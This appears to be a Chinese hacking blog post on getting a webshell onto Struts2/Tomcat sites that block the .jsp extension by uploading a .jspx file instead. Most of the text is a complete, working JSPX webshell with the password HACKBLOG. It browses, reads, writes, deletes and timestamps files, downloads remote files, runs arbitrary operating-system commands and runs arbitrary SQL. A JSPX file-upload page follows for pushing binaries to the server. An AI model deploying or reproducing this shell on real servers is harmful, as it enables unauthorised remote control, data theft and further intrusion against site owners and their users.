利用jspx解决jsp后缀被限制拿shell

有些struts2的站在web.xml里面设置url是jsp的格式就自动跳转主页的action，转换jsp后缀大小写还不解析。查了查有Tomcat默认jspx可以解析。看了看jspx的手册，那就好说了。



jspx一句话（密码HACKBLOG，可自行更改）：

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  <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2"><jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /><jsp:directive.page import="java.io.*"/><jsp:directive.page import="java.util.*"/><jsp:directive.page import="java.net.*"/><jsp:directive.page import="java.sql.*"/><jsp:directive.page import="java.text.*"/><jsp:declaration>String Pwd="HACKBLOG";String cs="UTF-8";String EC(String s)throws Exception{return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s)throws Exception{String[] x=s.trim().split("
");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if(x.length>4){c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i&lt;r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT,sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0; i&lt;l.length; i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ +=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/	"+sT+"	"+l[i].length()+"	"+sQ+"
");}else{sF+=l[i].getName()+"	"+sT+"	"+l[i].length()+"	"+sQ+"
";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0; k &lt; x.length; k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"&lt;-").getBytes(),0,3);os.close();is.close();}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0; i&lt;d.length();i+=2){os.write((h.indexOf(d.charAt(i)) &lt;&lt; 4 | h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0; j&lt;z.length; j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s,String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection) u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is,StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"
");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"	");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] x=s.trim().split("
");ResultSet r=c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null,"%",new String[]{"TABLE"});while(r.next()){sb.append(r.getString("TABLE_NAME")+"	");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("
");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[x.length-1]);ResultSetMetaData d=r.getMetaData();for(int i=1;i&lt;=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")	");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb,String p)throws Exception{Connection c=GC(s);Statement m=c.createStatement(1005,1008);BufferedWriter bw=null;try{ResultSet r=m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(int i=1; i &lt;=n; i++){sb.append(d.getColumnName(i)+"	|	");}sb.append("
");if(q.indexOf("--f:")!=-1){File file=new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:")+4,q.length()).trim()),true),cs));}while(r.next()){for(int i=1; i&lt;=n;i++){if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"	");bw.flush();}else{sb.append(r.getObject(i)+""+"	|	");}}if(bw!=null){bw.newLine();}sb.append("
");}r.close();if(bw!=null){bw.close();}}catch(Exception e){sb.append("Result	|	
");try{m.executeUpdate(q);sb.append("Execute Successfully!	|	
");}catch(Exception ee){sb.append(ee.toString()+"	|	
");}}m.close();c.close();}</jsp:declaration><jsp:scriptlet>cs=request.getParameter("z0")!=null?request.getParameter("z0")+"":cs;response.setContentType("text/html");response.setCharacterEncoding(cs);StringBuffer sb=new StringBuffer("");try{String Z=EC(request.getParameter(Pwd)+"");String z1=EC(request.getParameter("z1")+"");String z2=EC(request.getParameter("z2")+"");sb.append("->"+"|");String s=request.getSession().getServletContext().getRealPath("/");if(Z.equals("A")){sb.append(s+"	");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"
");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\","/")+"images/");}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"&lt;-");out.print(sb.toString());</jsp:scriptlet></jsp:root>
JSPX文件上传（解决菜刀上传二进制文件失败问题）

up.html

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<html>
<title>upload</title>
<body>
<form action="up.jspx" method="post" enctype="multipart/form-data">
<input type="file" name="upfile" size="50">
<input type="submit" value="submit">
</form>
</body>
</html>
up.jspx（默认保存上传当前目录下的upload目录，可自行更改）：


<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
          xmlns="http://www.w3.org/1999/xhtml"
          xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
    <jsp:directive.page contentType="text/html" pageEncoding="utf-8"/>
    <jsp:directive.page import="java.io.*"/>
    <jsp:directive.page import="java.util.*"/>
    <jsp:directive.page import="javax.servlet.*"/>
    <jsp:directive.page import="javax.servlet.http.*"/>
<html><head><title>upFile</title></head>
<body bgcolor="#ffffff">
<jsp:scriptlet>
int MAX_SIZE = 102400 * 102400;
String rootPath;
DataInputStream in = null;
FileOutputStream fileOut = null;
String remoteAddr = request.getRemoteAddr();
String serverName = request.getServerName();
String realPath = request.getRealPath(serverName);
realPath = realPath.substring(0,realPath.lastIndexOf("\"));
rootPath = realPath + "\upload\";
String contentType = request.getContentType();
try{
if(contentType.indexOf("multipart/form-data") >= 0){
in = new DataInputStream(request.getInputStream());
int formDataLength = request.getContentLength();
if(formDataLength > MAX_SIZE){
out.println("No more than" + MAX_SIZE + "");
return;
}
byte dataBytes[] = new byte[formDataLength];
int byteRead = 0;
int totalBytesRead = 0;
while(totalBytesRead != formDataLength){
byteRead = in.read(dataBytes,totalBytesRead,formDataLength);
totalBytesRead += byteRead;
}
String file = new String(dataBytes);
//out.println(file);
String saveFile = file.substring(file.indexOf("filename="") + 10);
saveFile = saveFile.substring(0,saveFile.indexOf("
"));
saveFile = saveFile.substring(saveFile.lastIndexOf("\") + 1,saveFile.indexOf("""));
int lastIndex = contentType.lastIndexOf("=");
String boundary = contentType.substring(lastIndex + 1,contentType.length());
String fileName = rootPath + saveFile;
//out.print(fileName);
int pos;
pos = file.indexOf("filename="");
pos = file.indexOf("
",pos) + 1;
pos = file.indexOf("
",pos) + 1;
pos = file.indexOf("
",pos) + 1;
int boundaryLocation = file.indexOf(boundary,pos) - 4;
//out.println(boundaryLocation);
int startPos = ((file.substring(0,pos)).getBytes()).length;
//out.println(startPos);
int endPos = ((file.substring(0,boundaryLocation)).getBytes()).length;
//out.println(endPos);
File checkFile = new File(fileName);
if(checkFile.exists()){
out.println("" + saveFile + "already exist.");
}
File fileDir = new File(rootPath);
if(!fileDir.exists()){
fileDir.mkdirs();
}
fileOut = new FileOutputStream(fileName);
fileOut.write(dataBytes,startPos,(endPos - startPos));
fileOut.close();
out.println(saveFile + "succeed.");
}else{
String content = request.getContentType();
out.println("error:multipart/form-data");
}
}catch(Exception ex){
throw new ServletException(ex.getMessage());
}
</jsp:scriptlet>
</body>
</html>
</jsp:root>